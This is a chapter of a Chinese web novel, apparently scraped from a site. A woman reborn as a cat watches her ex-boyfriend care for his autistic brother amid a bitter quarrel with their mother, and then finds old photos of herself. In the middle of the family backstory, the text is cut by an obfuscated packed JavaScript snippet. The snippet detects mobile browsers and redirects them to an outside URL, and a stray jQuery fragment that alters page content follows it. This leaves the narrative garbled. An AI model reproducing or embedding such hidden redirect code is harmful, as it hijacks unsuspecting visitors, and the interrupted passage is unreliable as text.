祝祺在连川家中，又安逸地住了大半个月。


    转眼，便到了公历年的尾声。


    元旦假期前，祝祺眼看连川加满她的小粮仓，又破天荒地给她开了个罐罐，心知十有八九有事。


    她一边咣咣干饭，一边骂骂咧咧：


    说吧，有什么事对不起我？外面有猫了？还是你那个破杂志社终于开不出工资了，要克扣我的伙食？


    连川盘腿坐在地上，垂眼看她呜哇呜哇地吃饭，手落在她脊背上，轻柔地顺着她的毛。


    “金宝，爸爸要离开一两天。”


    祝祺的耳朵悄往连川的方向撇去。


    “自动喂食器已经装满了，会定时给你放粮。我会在监控里看你的，如果有什么问题，我把备用钥匙给周医生了，他会来的，好吗？”


    祝祺有时候会想连川是不是傻，明明猫听不懂人话，他还能一个人说得这么起劲。


    她在吃饭的百忙之中，往连川大腿上踩了一脚。


    猫知道啦。


    连川安排完猫的事，就开始收拾自己的行李。


    祝祺敏感地觉察到，连川似乎兴致不高。


    她和连川恋爱的四年间，连川很少独自出远门。他不需要出差，没有在外地的朋友，从不和他的有钱家人联系。


    ——那他这回出远门，是去干嘛？


    正想着，连川已经收好行李。他东西不多，旅行箱半满，只装了几件衣服，很轻。他留意不让旅行箱滚轮的声音吓到猫，单手提箱出门。


    出门前，连川在门外，回望一眼。


    卧室与客厅之间的墙上，有一面窗，窗下一角，露出猫的上半张小圆脸，和两枚尖尖的三角耳朵。


    猫正蹲在卧室的床上，透过窗，两眼大睁，乌黑瞳仁溜圆，正一脸懵懂地看着离去的连川。


    连川提着行李箱的手一顿，强迫自己回转头，轻声带上门。


    再看，就走不了了。


    出门后，地铁二号线转一号线，到高铁站。高铁自A省北行两小时，便是他多年未回的家。


    地铁上，他想起金宝，分离焦虑发作，掏出手机，点开安在家里的监控，用语音功能，柔柔地唤了声：“金宝——”


    家中，祝祺正抻着懒腰，扒拉在沙发边上磨爪子。爪尖刺破沙发表皮的毕波抓挠声，爽得她尾尖高举着打战。


    直到一个晦气的声音响起。


    祝祺两耳不悦地抖动两下，柔韧的猫尾立马耷拉下去。


    被怪声打断施法后，眼前被她挠得破破烂烂的沙发都不香了。


    她凶狠地迈着小猫步，走到发出声音的圆形监控镜头前，粉鼻头凑上前嗅闻观察，之后便伸爪，猛烈地拍打攻击，嘴里哈哈作响。


    祝祺：“呜哇——”


    今天不把这个会发出坏猫兴致声音的丑东西拆了！本橘誓不为猫！


    另一侧，地铁里，连川的手机屏幕上。


    圆圆小猫头突然凑近，东闻闻西嗅嗅，大眼睛黑溜溜的，满脸好奇与警觉，甚至还掏出雪白小爪来摁镜头，拨弄得监控视频一片噼里啪啦响。


    小猫听见这个东西发出了爸爸的声音，却不知道爸爸在哪里。小猫想把爸爸从监控里掏出来呢。


    连川捧着手机，看得心都化了，喉咙口里发出一声低低的喟叹。


    一旁坐着一对母子，是一大早背着小书包上兴趣班的小学生和他的妈妈。


    小学生听到动静，斜着眼偷看连川，满脸惊悚：“这个叔叔好奇怪。”


    妈妈露出知晓一切的微笑：“等你以后长大了，谈了恋爱，也会这样一边看手机一边发出怪动静的。”


    连川：“……”


    他有些坐立难安，下一站，便拖着行李箱下车，走向返程的地铁。


    *


    祝祺还没自由两个小时，大门又一次开了。


    走了没多久的人类大步进门，捞起在地上翻滚的小猫，捧在脸边，一阵狂吸。


    祝祺气得嗷嗷大叫，照脸给了连川两拳。


    还把连川爽到了。


    等连川吸足猫，又徒手跟猫过了几招拳法，他两手穿过金宝腋下，将小肥猫高高提起。


    橘猫液体般的身体抻长，两脚垂落在地上，并没有不舒服，缓慢地眨着眼，看他。


    “宝，爸爸不走了。但是，晚上可能会来一个……奇怪的叔叔。”


    连川艰难地措辞。


    祝祺：“喵。”


    “我不会让他伤害你的。如果我没办法控制好他，就让他一直呆在卧室里。”


    祝祺歪了歪头。


    听起来似乎不妙。


    “顶多两天，可以吗？”连川问。


    祝祺一挣，呜嗯一声落地，优雅走开。


    算啦算啦，都吃了你的罐罐啦，多忍受一个人类也不是什么大事，猫猫肚里能撑船嘛。


    祝祺大度地想。


    *


    当日傍晚，连川多炒了一个菜，抱着金宝坐在沙发上，等待客人的到来。


    祝祺嗅出他身上焦躁的气息，不时探出粉红色的鼻头，轻触他的下巴，用温热的气流安抚他。


    祝祺：“喵。”


    别焦虑啦，有猫在，一切都能解决的。


    六点过半，敲门声终于响起：“小川，是妈妈。”


    ——舒明菡。祝祺想起曾在连川手机上见过的名字。


    没想到所谓远客，竟然是连川的家人。


    舒明菡的声线明净清亮，如一捧晶莹剔透的雪，听到便觉得心间一片敞亮。


    祝祺暗道，连川的好嗓子，原来是遗传妈妈的。


    连川放下猫，起身开门。


    门口，是一名年过五十的女性，和一个十三四岁的少年。


    少年身量纤瘦，头发乌黑细软，修剪得平齐，面上有股不自然的神情。


    女人眉眼与连川三分相像，长发烫卷，面上施着淡妆，红唇醒目。她保养得很用心，眼角眉梢唇周，仍能见疲色。乍一见长子，似略微拘谨，女人不安地一笑。


    舒明菡提示少年：“小海，叫哥哥。”


    祝祺躲在角落里，歪着脑袋打量。


    百度百科里写，舒明菡育有二子。


    那么，这应该是连川的弟弟，连海。


    却见少年恍若未闻，双眼直直地略过连川，嘴里不停地快速重复一段数字。


    连川面沉如水：“你明知道他不会叫的。”


    “多教教他，他是会的。”舒明菡急切地辩驳，“现在小海的病情，已经比以前好很多了。”


    “恭喜。”连川无动于衷地偏过头，转身进门。


    舒明菡领着连海，随连川踏入门内。


    连川回头，面露警告：“我说过，连海可以来，你不行。”


    舒明菡精心描画的眉头，委屈地皱起：“小川，妈妈想来看看你住的地方，想看看你过得好不好。这么多年，你不联系爸妈，也不肯收我们的钱，妈妈每天担心你在外吃苦。”


    连川像听到什么荒谬的话，扯起一个冷笑：


    “如果你真的像你表演的那么在意我，你不会明知道我想学文，还要改我的专业。”


    听到这里，祝祺嘴里叼着的猫粮都惊掉了。


    大一那年，她对连川的印象，是隔壁经济系来蹭课的男生。


    连川同时修两个专业的课程，任务繁重。祝祺偶尔瞥见他在古代文学课上偷写高数题，或是累得直接在课堂上睡着。


    第二学年，连川成功通过考核，从经济系转来中文系。


    此时文科就业率已经大跌，常有人玩梗说文科毕业月薪三千，同学们调侃他是四九年加入国民党。


    祝祺从没问过他，如果这么喜欢文学，一开始为什么选了经济系。


    原来是父母皆祸害。


    “这件事是爸爸妈妈错了，妈妈没想到你会反应这么大……”舒明菡说着，开始抹眼泪。


    连川冷眼望着她。


    舒明菡当然想不到他会突然爆发。


    连川十二岁那年，连海出生。


    连海两岁时，举动怪异，始终不开口说话，抗拒触碰，确诊自闭症。


    从那时起，舒明菡停下演出，全心在家照料幼子；连平山则为了支付巨额的治疗费用，全世界奔波摄影，拼命工作挣钱。


    少年连川理解父母，尽全力帮家人分担。


    他不再要求父母参加他的家长会，从不拿生活和学业上的烦心事去打扰父母，不厌其烦地尝试与弟弟对话。


    连海畏惧陌生人，家中不能请护工。为此，他学会了做饭。在妈妈忙于照料弟弟时，他默默做出一家人的晚餐。


    有一日，他切菜时不小心割到手，指尖几乎旋下一块肉来，鲜血汩汩而出。


    他捏着手指，有点害怕地喊了声妈妈。


    舒明菡看见他被血水浸得通红的手指，嫌恶地大喊：“别过来！别让你弟弟看到了。”


    连海看见血，会尖叫个不停。


    类似的事，以前也发生过。


    只是那一刻，手指剜心的刺痛让他意识到，这并不公平。


    高考出分后，他的成绩在全省前列，可以在顶尖学府A大任选专业。


    他将A大中文系，填在首行。


    志愿结果公布当日，他才知道父母未与他商量，篡改了他的第一志愿。


    “现在文科就业形势不好，你写的那些诗，玩玩可以，赚不了钱。”连平山说，“你弟弟的病是终身无法治愈的。等我和你妈死了，谁来照顾你弟弟？”


    连川情绪崩溃了。


    他从卧室里掏出自己高中三年做的一箱教辅书，重重砸在地上。


    舒明菡见势，一声不吭地抱着连海离开家。


    “连海不是我的孩子，我也有我自己独立的人生，我没有追求自己想做的事的权利吗？从头至尾，我做错了什么，是我让弟弟生病的吗？”


    “……”


    “我想做的事我一定


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293098|165918||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    会做到。我读文的学费不需要你们出，你们也别想让我赔上自己的人生，给你们养孩子。”


    因为这句话，连川从大学前的暑假就开始兼职打工，拼命赚学杂费。


    大二转专业后，他再也没有回过一次家。


    舒明菡几次给他转钱，都被他一分不少地退了回去。


    直到金豆病危，二人筹措不出手术费，祝祺甚至去问导师史雁英借钱，连川才终于接受了舒明菡的转账。


    这并不是一笔无条件的钱。


    舒明菡说，年底，除夕前，她有工作安排，希望连川可以帮忙照顾连海一天两夜。


    他同意了。


    这才有了今天的事。


    舒明菡哭声细微，似没完没了的虫鸣，连川眉头烦躁地微蹙，抬手去碰连海的肩：“走，跟哥哥……”


    触碰的瞬间，连海像是被火灼烧一般，厉声尖叫起来。


    祝祺对声音格外敏感，缩进了沙发深处。


    舒明菡赶紧以保护的姿态安抚连海：“乖乖，不怕，这是哥哥呀，小时候哥哥对你可好啦，你最爱吃哥哥做的西红柿炒蛋，还记得吗……”


    连川听见，神色一黯，径自走进厨房，将他给连海准备的菜端上桌。


    舒明菡眼前一亮：“小川，我可不可以一起……”


    连川：“不可以。”


    “好吧，那小海就辛苦你照顾两天。”


    舒明菡叹了口气，递过连海行李箱的同时，又从包里掏出一个胶卷相册。


    连川看到相册封面的瞬间，便似机械玩偶发条失灵一般，顿住了。


    “这是你大一寒假那年回家冲洗的相片，落在家里了。对不起，小川，我翻开来看了一眼。有几张人像，是祝祝，对不对？”


    连川乍然抬头，双目赤红：“我不许你提她。”


    舒明菡被他的神态吓到，赶忙改口：“我不提，我不提。我只是觉得，你说不定会需要。”


    连川默然接过。


    “小川，如果你需要有人陪你说话……”


    方才的一瞬失控仿佛是错觉。


    连川面无表情地合门，将舒明菡挡在门外，声音凛冽如冰：“不需要。”


    *


    离开母亲后，连海意外地很乖。


    他按照在家里吃饭的习惯，把饭添在盘子上，用勺子压平整，划成等大的十六小格，一格一格地往嘴里送，细瘦纤长的小腿在桌下轻晃。


    饭后，连川安排弟弟洗漱，将他安置在卧室里，又在客厅另铺了张床铺，留给自己睡。


    在舒明菡十年如一日的努力，和巨大的经济投入之下，连海的病症已经轻了很多。


    至少他不会像小时候那样，一边尖叫一边用头撞墙，一整晚不停地开关家里的灯，舒明菡一不在身边，就用被单、毛线甚至是胶带，把自己一圈圈地包裹起来。


    连川理解为什么舒明菡非要让他来照顾弟弟不可。


    她以为连川嫌弃弟弟，想让连川看看连海现在的样子。


    ——但他和父母之间的问题，从来不是出在小海身上。


    睡前，连川望一眼弟弟恬静的睡容，轻轻合拢卧室的门。


    他回到客厅，将在沙发底下躲了一晚上的祝祺喊出来：


    “小怂猫，不怕啦，来睡觉。”


    祝祺探头探脑地从沙发底下钻出来。


    柔软大床变成了简陋地铺，祝祺毫不嫌弃，如常走至连川枕边，用爪子拍软床垫，舒舒服服地趴下。


    连川也钻进被窝里。


    在他手中，是舒明菡带来的相册。


    “来，金宝。”他将相册立在小猫面前，一页页翻开。


    相册中，有花鸟，有光影，有柳稍平白搅扰本来无波的水面。


    他不愧是知名摄影师的儿子，对于自然景物的捕捉细腻入微。看似寻常的事物，在他镜头下都别有意趣。


    又翻几页，竟有几张人像。


    拍摄人像时，连川大失水准，心慌，手摇，光影混乱，构图乱七八糟，人像模糊不清。


    但祝祺还是认出来，这是自己。


    大一那年，刚入学的祝祺。


    那时，祝祺刚从小山村，来到沿海的A省。


    她不会打扮，在大学仍穿着高中的墨绿色校服，胸前高中校名的印花，被水洗得斑驳脱落，整日扎着学生气十足的马尾，土得十分醒目。


    她的本科室友大喵，一名奇迹暖暖重氪玩家，非说她底子好，邀请她用自己的护肤品，教她打理头发，在网上淘物美价廉的衣服。


    托室友大喵的福，她只土了短短的一个学期。


    连川竟然拍过她刚入学时的样子。


    更让祝祺吃惊的是——


    大一上学期，她和连川根本就不认识。


    连川察觉到金宝走神，敲了敲她的脑袋，严肃地说：“宝，你认真看，这是你妈妈。”


    祝祺：“……”


    不，这是你大爷。